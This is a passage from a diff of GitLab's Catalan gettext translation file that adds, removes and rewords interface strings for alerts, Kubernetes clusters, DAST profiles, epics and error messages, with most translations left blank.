msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Actiu"
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr "Afegeix el comentari"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr "Qualsevol"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr "abr"
msgid "April"
msgstr "abril"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr "Artefactes"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr "per usuari"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr "Cancel·la"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr "Tancades"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Incidències tancades"
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Comentaris"
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr "Crea una branca nova"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Crea un directori nou"
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr "Crea una etiqueta de projecte"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr "Suprimeix"
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
